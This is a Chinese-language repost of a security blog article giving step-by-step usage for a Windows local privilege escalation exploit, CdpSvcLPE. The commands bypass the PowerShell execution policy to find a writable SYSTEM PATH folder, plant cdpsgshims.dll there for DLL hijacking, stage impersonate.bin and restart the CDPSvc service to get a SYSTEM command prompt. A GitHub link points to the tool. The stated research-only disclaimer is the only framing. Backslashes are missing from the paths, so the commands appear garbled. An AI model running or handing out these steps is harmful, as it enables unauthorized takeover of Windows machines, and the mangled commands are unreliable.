用法：
-
使用 acltest.ps1 查找 Writable SYSTEM PATH（例如 C:python27）
C:CdpSvcLPE> powershell -ep bypass ". .acltest.ps1" -
将 cdpsgshims.dll 复制到 C:python27
-
制作 C:temp 文件夹并将 impersonate.bin 复制到 C:temp
C:CdpSvcLPE> mkdir C:tempC:CdpSvcLPE> copy impersonate.bin C:temp -
重新启动（或以管理员身份停止/启动 CDPSvc）
-
cmd 将提示
nt authoritysystem.
注意：当你得到系统 cmd 提示时，停止 cdpsvc 服务并删除 dll 文件和 bin 文件。
https://github.com/sailay1996/CdpSvcLPE
原文始发于微信公众号（Khan安全攻防实验室）：通过CdpSvc服务提升Windows本地权限
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论